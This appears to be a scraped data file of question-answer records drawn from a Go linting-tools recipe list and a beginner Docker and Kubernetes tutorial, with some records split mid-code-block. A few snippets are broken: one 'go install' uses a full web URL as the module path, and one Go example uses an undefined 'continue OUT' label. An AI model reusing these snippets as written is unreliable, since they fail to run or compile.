{"id": "gh_918252b57c70", "question": "How to: [⏫](#contents) :gift: Detect performance optimizations with [perfsprint](https://github.com/catenacyber/perfsprint)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool detects possible performance optimizations in source code. It suggests replacing usages of `fmt.Sprintf` and `fmt.Errorf` with more efficient alternatives. — [@catenacyber](https://github.com/catenacyber)\n\n```\nperfsprint .\n```\n\n```go\npackage main\n\nimport (\n  \"fmt\"\n)\n\nvar _ = fmt.Errorf(\"some error\")\n\nfunc Sprintf() {\n  _ = fmt.Sprintf(\"Hello, World!\")\n  world := \"World\"\n  _ = fmt.Sprintf(\"Hello %s\", world)\n  _ = fmt.Sprintf(\"%d\", 42)\n  _ = fmt.Sprintf(\"%d\", int64(42))\n}\n```\n\nExample\n```\n/testdata/perfsprint.go:7:9: error-format: fmt.Errorf can be replaced with errors.New\n/testdata/perfsprint.go:10:6: string-format: fmt.Sprintf can be replaced with just using the string\n/testdata/perfsprint.go:12:6: string-format: fmt.Sprintf can be replaced with string concatenation\n/testdata/perfsprint.go:13:6: integer-format: fmt.Sprintf can be replaced with faster strconv.Itoa\n/testdata/perfsprint.go:14:6: integer-format: fmt.Sprintf can be replaced with faster strconv.FormatInt\n/testdata/perfsprint.go:4:2: fiximports: Fix imports\n```\n\nRequirements\n```\ngo install github.com/catenacyber/perfsprint@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953793"}
{"id": "gh_87733a04da9b", "question": "How to: [⏫](#contents) Calculate Cognitive Complexity with [gocognit](https://github.com/uudashr/gocognit)", "question_body": "About nikolaydubina/go-recipes", "answer": "Cognitive Complexity as defined in this tool can be more illustrative than Cyclometric Complexity. Research paper [\"Cognitive Complexity - a new way of measuring understandability\"](https://www.sonarsource.com/docs/CognitiveComplexity.pdf), 2021. — [@uudashr](https://github.com/uudashr)\n\n```\ngocognit .\n```\n\n```go\n// Complexity Cyclomatic=4 Cognitive=7\n// Cognitive complexity give higher score compare to cyclomatic complexity.\nfunc SumOfPrimes(max int) int {         // +1\n    var total int\n    for i := 1; i < max; i++ {          // +1 (cognitive +1, nesting)\n        for j := 2; j < i; j++ {        // +1 (cognitive +2, nesting)\n            if i%j == 0 {               // +1\n                continue OUT\n            }\n        }\n        total += i\n    }\n    return total\n}\n\n// Complexity Cyclomatic=4 Cognitive=1\n// Cognitive complexity give lower score compare to cyclomatic complexity.\nfunc GetWords(number int) string {      // +1\n    switch number {\n        case 1:                         // +1 (cognitive 0)\n            return \"one\"\n        case 2:                         // +1 (cognitive 0)\n            return \"a couple\"\n        case 3:                         // +1 (cognitive 0)\n            return \"a few\"\n        default:\n            return \"lots\"\n    }\n}\n```\n\nExample\n```\n21 main (BasicSymtabConverter).SymtabFileToTreemap basic_converter.go:23:1\n12 symtab parseGoSymtabLine symtab/go_symtab_parser.go:37:1\n11 main main main.go:30:1\n8 symtab EqSymbolName symtab/symbol_name_parser.go:12:1\n7 symtab ParseSymbolName symtab/symbol_name_parser.go:32:1\n7 symtab Test_parseGoSymtabLine symtab/go_symtab_parser_private_test.go:5:1\n4 symtab Test_ParseSymbolName symtab/symbol_name_parser_private_test.go:5:1\n3 main updateNodeNamesWithByteSize main.go:99:1\n3 main unique basic_converter.go:119:1\n3 symtab (GoSymtabParser).ParseSymtab symtab/go_symtab_parser.go:14:1\n2 fmtbytecount ByteCountIEC fmtbytecount/format_bytecount.go:3:1\n```\n\nRequirements\n```\ngo install github.com/uudashr/gocognit/cmd/gocognit@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953803"}
{"id": "gh_e4aa37fc888f", "question": "How to: [⏫](#contents) Calculate Cyclomatic Complexity with [gocyclo](https://github.com/fzipp/gocyclo)", "question_body": "About nikolaydubina/go-recipes", "answer": "Cyclomatic complexity is a code quality metric which can be used to identify code that needs refactoring. It measures the number of linearly independent paths through a function's source code. For example, excessive usage of nested `if` and `for` leads to increased cyclomatic complexity. This tool can report `top-N` and `over`, which makes it suitable for CI as a linter and manual investigation. — [@fzipp](https://github.com/fzipp)\n\n```\ngocyclo .\n```\n\nExample\n```\n$ gocyclo -over=5 .\n34 examplemodule (*With32FieldsFeatureTransformer).Fit cmd/generate/tests/with32fieldsfp.go:48:1\n24 main parseCode cmd/generate/parser.go:83:1\n13 examplemodule (*AllTransformersFeatureTransformer).Fit cmd/generate/tests/alltransformersfp.go:27:1\n12 examplemodule (*EmployeeFeatureTransformer).Fit cmd/generate/tests/employeefp.go:26:1\n11 transformers (*CountVectorizer).TransformInplace transformers/textprocesors.go:84:1\n11 structtransformer (*StructTransformer).Transform structtransformer/structtransformer.go:38:1\n11 examplemodule (*LargeMemoryTransformerFeatureTransformer).Fit cmd/generate/tests/largememorytransformerfp.go:25:1\n10 examplemodule (*WeirdTagsFeatureTransformer).Fit cmd/generate/tests/weirdtagsfp.go:24:1\n8 transformers (*SampleNormalizerL2).TransformInplace transformers/samplenormalizers.go:58:1\n```\n\nRequirements\n```\ngo install github.com/fzipp/gocyclo/cmd/gocyclo@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953811"}
{"id": "gh_e928b62e4c9a", "question": "How to: [⏫](#contents) Calculate Cyclomatic Complexity with [cyclop](https://github.com/bkielbasa/cyclop)", "question_body": "About nikolaydubina/go-recipes", "answer": "This linter calculates cyclomatic complexity of functions or packages. It can select minimum complexity and act as blocking linter in CI pipelines. The key offering from this linter is that it can calculate avg cyclomatic complexity on package. — [@bkielbasa](https://github.com/bkielbasa)\n\n```\ncyclop ./...", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953816"}
{"id": "gh_71608a0bfbca", "question": "How to: to find packages with avg cyclomatic complexity above maximum", "question_body": "About nikolaydubina/go-recipes", "answer": "cyclop -packageAverage 5 -maxComplexity 10000 ./...\n```\n\nExample\n```\n/kubernetes/test/integration/scheduler/scoring/priorities_test.go:17:1: the average complexity for the package scoring is 6.100000, max is 5.000000\n/kubernetes/test/integration/serviceaccount/service_account_test.go:17:1: the average complexity for the package serviceaccount is 10.666667, max is 5.000000\n/kubernetes/test/integration/volume/persistent_volumes_test.go:17:1: the average complexity for the package volume is 6.157895, max is 5.000000\n/kubernetes/test/list/main_test.go:17:1: the average complexity for the package main is 5.461538, max is 5.000000\n/kubernetes/test/typecheck/main_test.go:17:1: the average complexity for the package main is 5.916667, max is 5.000000\n/kubernetes/third_party/forked/golang/net/dnsclient_test.go:10:1: the average complexity for the package net is 5.333333, max is 5.000000\n```\n\nRequirements\n```\ngo install github.com/bkielbasa/cyclop@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953822"}
{"id": "gh_6af626f50603", "question": "How to: [⏫](#contents) Calculate age of comments with [go-commentage](https://github.com/nikolaydubina/go-commentage)", "question_body": "About nikolaydubina/go-recipes", "answer": "This go vet compatible tool analyses AST and git and collects details on how far comments drift from code they describe. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo-commentage -min-days-behind 360 ./...\n```\n\nExample\n```\nkubernetes/pkg/util/ipset/ipset.go:283:1: \"CreateSet\": doc_last_updated_behind_days(1336.83)\nkubernetes/pkg/util/ipset/ipset.go:296:1: \"createSet\": doc_last_updated_behind_days(1603.17)\nkubernetes/pkg/util/ipset/ipset.go:320:1: \"AddEntry\": doc_last_updated_behind_days(1578.10)\nkubernetes/pkg/util/ipset/ipset.go:332:1: \"DelEntry\": doc_last_updated_behind_days(1578.10)\nkubernetes/pkg/util/ipset/ipset.go:340:1: \"TestEntry\": doc_last_updated_behind_days(450.07)\n```\n\nRequirements\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953828"}
{"id": "gh_092087218d6c", "question": "How to: get latest version of git", "question_body": "About nikolaydubina/go-recipes", "answer": "go install github.com/nikolaydubina/go-commentage@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953832"}
{"id": "gh_1ffb5e0cca5e", "question": "How to: [⏫](#contents) Ensure `if` statements using short assignment with [ifshort](https://github.com/esimonov/ifshort)", "question_body": "About nikolaydubina/go-recipes", "answer": "Linter for checking that your code uses short syntax for `if` statements whenever possible. However, as of `2023-05-26`, it is not maitaned and is not working. — [@esimonov](https://github.com/esimonov)\n\n```\nifshort ./...\n```\n\n```go\n// bad\nfunc someFunc(k string, m map[string]interface{}) {\n  _, ok := m[k]\n  if !ok {\n    return\n  }\n\n  err := otherFunc1()\n  if err != nil {\n    otherFunc2(err)\n  }\n}\n\n// good\nfunc someFunc(k string, m map[string]interface{}) {\n  if _, ok := m[k]; !ok {\n    return\n  }\n\n  if err := otherFunc1(); err != nil {\n    otherFunc2(err)\n  }\n}\n```\n\nRequirements\n```\ngo install github.com/esimonov/ifshort@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953840"}
{"id": "gh_9575cbdcd5a6", "question": "How to: [⏫](#contents) Detect sub-optimal struct layout with [betteralign](https://github.com/dkorunic/betteralign)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool detect structs that would use less memory if their fields were sorted and optionally sort such fields. — [@dkorunic](https://github.com/dkorunic)\n\n```\nbetteralign -apply ./...\n```\n\nRequirements\n```\ngo install github.com/dkorunic/betteralign/cmd/betteralign@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953845"}
{"id": "gh_bd466e47f13d", "question": "How to: [⏫](#contents) Detect sub-optimal struct layout with [structlayout-optimize](https://github.com/dominikh/go-tools/blob/master/cmd/structlayout-optimize)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool reorders struct fields to minimize the amount of padding. — [@dominikh](https://github.com/dominikh)\n\nRequirements\n```\ngo install https://github.com/dominikh/go-tools/blob/master/cmd/structlayout-optimize@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953850"}
{"id": "gh_7977279432bf", "question": "How to: [⏫](#contents) Visualize struct layout with [structlayout](https://github.com/dominikh/go-tools/tree/master/cmd/structlayout)", "question_body": "About nikolaydubina/go-recipes", "answer": "Display the byte offset and size of each field, respecting alignment/padding. — [@dominikh](https://github.com/dominikh)\n\n```\nstructlayout -json bytes Buffer | structlayout-svg -t \"bytes.Buffer\" > /tmp/struct.svg\n```\nRequirements\n```\ngo install github.com/ajstarks/svgo/structlayout-svg@latest\ngo install honnef.co/go/tools/cmd/structlayout@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953856"}
{"id": "gh_02706140d634", "question": "How to: [⏫](#contents) Rely on compiler for stricter Enums", "question_body": "About nikolaydubina/go-recipes", "answer": "For compile time blocking of: accidental arithmetics; implicit cast of untyped constants; all operators except `==` and `!=`; — simply wrap into a struct in separate package and do not export field. [example](http://github.com/nikolaydubina/go-enum-example).\n\n```go\npackage color\n\ntype Color struct{ c uint }\n\nvar (\n  Undefined = Color{}\n  Red       = Color{1}\n  Green     = Color{2}\n  Blue      = Color{3}\n)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953863"}
{"id": "gh_648b49e4f14a", "question": "How to: [⏫](#contents) Analyze function callsites with [go-callsite-stats](https://github.com/nikolaydubina/go-callsite-stats)", "question_body": "About nikolaydubina/go-recipes", "answer": "Scrape callsite information about functions to learn better how functions are beinn used. This can help in refactoring, naming, OOP. This tool calculates frequency of names on assignments in returns and frequency of names in arguments. This can be used to detect ignored returns as well. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo-callsite-stats ./...\n```\n\n```\nx16:       (no assignments)                  = execHostnameTest(serviceAddress:7)\n                                                              (nodePortAddress:3)\n                                                              (nodePortAddress0:3)\n                                                              (nodePortAddress1:2)\n                                                              (clusterIPAddress:1)\nx16:       pod:10, err:12                    = CreatePod(client:11, namespace:10, nil:9, pvclaims:6, false:7, execCommand:2)\n          clientPod:1                                  (c:2, ns:2, podCount:2, true:3)\n          _:1                                          (pod:1, pod:1, pvclaims:2, false:2)\n          err:1                                        (ctx:1, nil:1, createdClaims:1, pvcClaims:1)\n                                                        (namespace:1, nameSpace:1, podTemplate:1)\n                                                        (, basePod:1)\nx16:       (no assignments)                  = GET()\nx16:       deployment:11, err:14             = UpdateDeploymentWithRetries(c:14, ns:14, deploymentName:3, applyUpdate:1, poll:1,pollShortTimeout:1)                                                         \n          _:2                                                            (client:1, namespace:1, pollTimeout:1)\n          deploymentWithUpdatedReplicas:1                                (applyUpdate:1, pollInterval:1, name:1)\nx16:       err:16                            = waitForDefinition(schemaFoo:12\n                                                                (schemaWaldo:3)\n                                                                (expect:1)\n```\n\nRequirements\n```\ngo install github.com/nikolaydubina/go-callsite-stats@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953871"}
{"id": "gh_77b7f28a96cd", "question": "How to: Requirements", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "You need to:\n-  have [Docker](https://www.docker.com/) installed for your OS;\n- [minikube](https://github.com/kubernetes/minikube) installed for running locally; and\n- [kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/) installed.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2328, "answer_score": 10, "has_code": false, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368123"}
{"id": "gh_a95a3f331452", "question": "How to: Simple concepts before we start", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "#### What is Docker\n\nDocker is a platform for packaging, distribution and running applications. It allows you to package your application together with its whole environment. This can be either a few libraries that the app requires or even all the files that are usually available on the filesystem of an installed operating system. Docker makes it possible to transfer this package to a central repository from which it can then be transferred to any computer running Docker and executed there.\n\nThree main concepts in Docker comprise this scenario:\n- **Images** :— A Docker based container image is something you package your application and its environment. It contains the filesystem that will be available to the application and other metadata, such as the path to the executable that should be executed when the image is run.\n- **Registries** :- A Docker Registry is a repository that stores your Docker images and facilitates easy sharing of those images between different users and computers. When you build your image, you can either run it on the computer you’ve built it on, or you can push (upload) the image to a registry and then pull (download) it on another computer and run it there. Certain registries are public, allowing anyone to pull images from it, while others are private, only accessible to certain people or machines.\n- **Containers** :- A Docker-based container is a regular Linux container created from a Docker-based container image. A running container is a process running on the host running Docker, but it’s completely isolated from both the host and all other processes running on it. The process is also resource-constrained, meaning it can only access and use the number of resources (CPU, RAM, and so on) that are allocated to it.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": false, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368145"}
{"id": "gh_1648fdc13242", "question": "How to: Learning while working", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "#### Creating a web server\n\nYou first need to create a container image. We will use Docker for that. We are creating a simple web server to see how Kubernetes works.\n\n- create a file `app.js` and copy this code into it\n\n```js\nconst http = require('http');\nconst os = require('os');\nconsole.log(\"Kubia server starting...\");\nvar handler = function (request, response) {\n  console.log(\"Received request from \" + request.connection.remoteAddress);\n  response.writeHead(200);\n  response.end(\"You've hit \" + os.hostname() + \"\\n\");\n};\nvar www = http.createServer(handler);\nwww.listen(8080);\n\n```\n\nNow we will create a Docker file that will run on a cluster when we create a Docker image. \n\n- Create a file named `Dockerfile` and copy this code into it.\n\n```Dockerfile\nFROM node:8 \n\nRUN npm i\n\nADD app.js /app.js\n\nENTRYPOINT [ \"node\", \"app.js\" ]\n\n```\n\n#### Building Docker Image\n\nMake sure your **Docker server is up and running**. Now we will create a Docker image in our local machine. Open your terminal in the current project's folder and run\n\n`docker build -t kubia .`\n\nYou’re telling Docker to build an image called **kubia** based on the contents of the current directory (note the dot `.` at the end of the build command). Docker will look for the Dockerfile in the directory and build the image based on the instructions in the file.\n\nNow check your docker image created by running:\n\n`docker images`\n\n#### Getting docker images\n\n`docker images`\n\nThis command lists all the images.\n\n#### Running the container image\n\n`docker run --name kubia-container -p 8080:8080 -d kubia`\n\nThis tells Docker to run a new container called **kubia-container** from the kubia image. The container will be detached from the console (`-d` flag), which means it will run in the background. `Port 8080` on the local machine will be mapped to `Port 8080` inside the container (`-p 8080:8080` option), so you can access the app through [localhost](http://localhost:8080).\n\n#### Accessing your application\n\nRun in your terminal:\n\n`curl localhost:8080`\n> You’ve hit 44d76963e8e1\n\n#### Listing all your running containers\n\nYou can list all your running containers with this command.\n\n`docker ps`\n\nThe `docker ps` command only shows the most basic information about the containers.\n\nTo get additional information about a container, run this command.\n\n`docker inspect kubia-container`\n\nYou can see all the containers by running:\n\n`docker ps -a`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368162"}
{"id": "gh_dbe03b04f30f", "question": "How to: Running a shell inside an existing container", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "The Node.js image on which you’ve based your image contains the bash shell, so you can run the shell inside the container like this:\n\n`docker exec -it kubia-container bash`\n\nThis will run bash inside the existing **kubia-container** container. The **bash** process will have the same Linux namespaces as the main container process. This allows you to explore the container from within and see how Node.js and your app see the system when running inside the container. \n\nThe **`-it`** option is shorthand for two options:\n\n- `-i`, which makes sure STDIN is kept open. You need this for entering commands into the shell.\n- `-t`, which allocates a pseudo terminal (TTY).\n\n#### Exploring container from within\n\nLet’s see how to use the shell in the following listing to see the processes running in the container.\n\n```bash\nroot@c61b9b509f9a:/# ps aux\nUSER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot         1  0.4  1.3 872872 27832 ?        Ssl  06:01   0:00 node app.js\nroot        11  0.1  0.1  20244  3016 pts/0    Ss   06:02   0:00 bash\nroot        16  0.0  0.0  17504  2036 pts/0    R+   06:02   0:00 ps aux\n```\n\nYou see only three processes. You don’t see any other processes from the host OS.\n\nLike having an isolated process tree, each container also has an isolated filesystem. Listing the contents of the root directory inside the container will only show the files in the container and will include all the files that are in the image plus any files that are created while the container is running (log files and similar), as shown in the following listing.\n\n```bash\nroot@c61b9b509f9a:/# ls\napp.js  bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  package-lock.json  proc  root  run  sbin  srv  sys  tmp  usr  var\n```\n\nIt contains the **app.js** file and other system directories that are part of the `node:8` base image you’re using. \n\nTo exit the container, you exit the shell by running the **exit** command and you’ll be returned to your host machine (like logging out of an ssh session, for example).\n\n#### Stopping and removing a container\n\n`docker stop kubia-container`\n\nThis will stop the main process running in the container and consequently stop the container because no other processes are running inside the container. The container itself still exists and you can see it with **docker ps -a**. The `-a` option prints out all the containers, those running and those that have been stopped. To truly remove a container, you need to remove it with the **docker rm** command:\n\n`docker rm kubia-container`\n\nThis deletes the container. All its contents are removed and it can’t be started again.", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368177"}
{"id": "gh_11204d05d66a", "question": "How to: Pushing the image to an image registry", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "The image you’ve built has so far only been available on your local machine. To allow you to run it on any other machine, you need to push the image to an external image registry. For the sake of simplicity, you won’t set up a private image registry and will instead push the image to [Docker Hub](http://hub.docker.com).\n\nBefore you do that, you need to re-tag your image according to Docker Hub’s rules. Docker Hub will allow you to push an image if the image’s repository name starts with your Docker Hub ID. \n\nYou create your Docker Hub ID by registering at [hub-docker](http://hub.docker.com). I’ll use my own ID (`knrt10`) in the following examples. Please change every occurrence with your own ID.\n\nOnce you know your ID, you’re ready to rename your image, currently tagged as `kubia`, to `knrt10/kubia` (replace knrt10 with your own Docker Hub ID):\n\n`docker tag kubia knrt10/kubia`\n\nThis doesn’t rename the tag; it creates an additional tag for the same image. You can confirm this by listing the images stored on your system with the Docker images command, as shown in the following listing.\n\n`docker images | head`\n\nAs you can see, both `kubia` and `knrt10/kubia` point to the same image ID, so they’re in fact one single image with two tags.\n\n#### Pushing image to docker hub\n\nBefore you can push the image to Docker Hub, you need to log in under your user ID with the **docker login** command. Once you’re logged in, you can finally push the `yourid/kubia` image to Docker Hub like this:\n\n`docker push knrt10/kubia`", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": false, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368192"}
{"id": "gh_3ef503a89465", "question": "How to: What is Kubernetes", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "Years ago, most software applications were big `monoliths`, running either as a single process or as a small number of processes spread across a handful of servers. \n\nToday, these big monolithic legacy applications are slowly being broken down into smaller, independently running components called `microservices`. \n\nBecause microservices are `decoupled` from each other, they can be developed, deployed, updated, and scaled individually. This enables you to change components quickly and as often as necessary to keep up with today’s rapidly changing business requirements.\n\nBut with bigger numbers of deployable components and increasingly larger datacenters, it becomes increasingly difficult to configure, manage, and keep the whole system running smoothly. \n\nIt’s much harder to figure out where to put each of those components to achieve high resource utilization and thereby keep the hardware costs down. Doing all this manually is hard work. \n\nWe need: \n\n- automation (including automatic scheduling of those components to our servers);\n- automatic configuration;\n- supervision; and \n- failure-handling. \n\nThis is where **Kubernetes** comes in.\n\n>\nKubernetes enables developers to deploy their applications themselves and as often as they want, without requiring any assistance from the operations (ops) team.\nBut Kubernetes doesn’t solely benefit developers. It also helps the ops team by automatically monitoring and rescheduling those apps in the event of a hardware failure. \n\nThe focus for system administrators (sysadmins) shifts from supervising individual apps to mostly supervising and managing Kubernetes and the rest of the infrastructure, while Kubernetes itself takes care of the apps.\n\n#### Splitting apps into microservice\n\nEach microservice runs as an independent process and communicates with other microservices through simple, well-defined interfaces (APIs). Refer to the image below:\n\n![Microservice](https://user-images.githubusercontent.com/24803604/68068406-bf4bb200-fd54-11e9-8565-6214d30616bb.png)\n\n>\n- Image taken from other source.\nMicroservices communicate through synchronous protocols such as HTTP, over which they usually expose RESTful (REpresentational State Transfer) APIs, or through asynchronous protocols such as AMQP (Advanced Message Queueing Protocol). \n\nThese protocols are simple, well understood by most developers, and not tied to any specific programming language. Each microservice can be written in the language that’s most appropriate for implementing that specific microservice.\n\nBecause each microservice is a standalone process with a relatively static external API, it’s possible to develop and deploy each microservice separately. A change to one of them doesn’t require changes or redeployment of any other service, provided that the API doesn’t change or changes only in a backward-compatible way.\n\n#### Scaling Microservices\n\nScaling microservices, unlike monolithic systems, where you need to scale the system as a whole, is done on a per-service basis, which means you have the option of scaling only those services that require more resources, while leaving others at their original scale. Refer to the image below:\n\n![Scaling](https://user-images.githubusercontent.com/24803604/68068433-03d74d80-fd55-11e9-87fe-5fad885168d1.png)\n\n>\n- Image taken from other source.\nWhen a monolithic application can’t be scaled out because one of its parts is unscalable, splitting the app into microservices allows you to horizontally scale the parts that allow scaling out. The parts that don't scale horizontally can be scaled vertically instead.\n\n#### Deploying Microservices\n\nAs always, microservices also have drawbacks. When your system consists of only a small number of deployable components, managing those components is easy. It’s trivial to decide where to deploy each component, because there aren’t that many choices. \n\nWhen the number of those components increases, deployment-related decisions become increasingly difficult because not only does the number of deployment combinations increase, but the number of inter-dependencies between the components increases by an even greater factor.\n\nMicroservices also bring other problems, such as making it hard to debug and trace execution calls, because they span multiple processes and machines. Luckily, these problems are now being addressed with distributed tracing systems such as Zipkin.\n\n![Drawback](https://user-images.githubusercontent.com/24803604/68068466-62043080-fd55-11e9-867f-971dc4df862f.png)\n\n>\nMultiple applications running on the same host may have conflicting dependencies.\n#### Working with Kubernetes\n\nNow that you have your app packaged inside a container image and made available through Docker Hub, you can deploy it in a Kubernetes cluster instead of running it in Docker directly. But first, you need to set up the cluster itself.\n\n#### Setting up a Kubernetes cluster\n\nSetting up a full-fledged, multi-node Kubernetes", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": false, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368216"}
{"id": "gh_55c361e67738", "question": "How to: Running a local single node Kubernetes cluster with Minikube", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "The simplest and quickest path to a fully functioning Kubernetes cluster is by using Minikube. Minikube is a tool that sets up a single-node cluster that’s great for both testing Kubernetes and developing apps locally.\n\n#### Starting a Kubernetes cluster with minikube\n\nOnce you have Minikube installed locally, you can immediately start up the Kubernetes cluster with the following command:\n\n`minikube start`\n```bash\nStarting local Kubernetes cluster...\nStarting VM...\nSSH-ing files into VM...\n...\nKubectl is now configured to use the cluster.\n```\n\nStarting the cluster takes more than a minute, so don’t interrupt the command before\nit completes.\n\n#### Checking to see if the cluster is up and Kubernetes can talk to it\n\nTo interact with Kubernetes, you also need the **kubectl** CLI client. [Installing](https://kubernetes.io/docs/tasks/tools/install-kubectl/) it is easy.\n\nTo verify your cluster is working, you can use the **kubectl cluster-info** command shown in the following listing.\n\n`kubectl cluster-info`\n```bash\nKubernetes master is running at https://192.168.99.100:8443\n\nkubernetes-dashboard is running at https://192.168.99.100:8443/api/v1/...\n\nKubeDNS is running at https://192.168.99.100:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\n```\n\nThis shows the cluster is up. It shows the URLs of the various Kubernetes components, including the API server and the web console.\n\n#### Deploying your Node app\n\nA simple way to deploy your app is to use the **kubectl create** command, which will create all the necessary components without having to deal with JSON or YAML.\n\n`kubectl create deployment kubia --image=knrt10/kubia --port=8080`\n\nThe `--image=knrt10/kubia` part obviously specifies the container image you want to run, and the `--port=8080` option tells Kubernetes that your app is listening on port 8080.\n\n#### Listing Pods\n\nBecause you can’t list individual containers since they’re not standalone Kubernetes objects, can you list pods instead? Yes, you can. Let’s see how to tell kubectl to list pods in the following listing.\n\n`kubectl get pods`\n\n```bash\n$ kubectl get pods\nNAME                     READY   STATUS    RESTARTS   AGE\nkubia-57c4d74858-tflb8   1/1     Running   0          24s\n```", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368231"}
{"id": "gh_5c5d0e805933", "question": "How to: Accessing your web application", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "With your pod running, how do you access it? Each pod gets its own IP address, but this address is internal to the cluster and isn’t accessible from outside of it. To make the pod accessible from the outside, you’ll expose it through a Service object. \n\nYou’ll create a special service of type LoadBalancer because if you create a regular service (a ClusterIP service), as the pod, it would also only be accessible from inside the cluster. By creating a LoadBalancer-type service, an external load balancer will be created and you can connect to the pod through the load balancer’s public IP.\n\n#### Creating a service object\n\nTo create the service, you’ll tell Kubernetes to expose the Deployment you created earlier:\n\n`kubectl expose deploy kubia --type=LoadBalancer --name kubia-http`\n> service/kubia-http exposed\n\n**Important:** We’re using the abbreviation `deploy` instead of `deployments`. Most resource types have an abbreviation like this so you don’t have to type the full name (for example, `po` for `pods`, `svc` for `services`, and so on).\n\n#### Listing Services\n\nThe expose command’s output mentions a service called 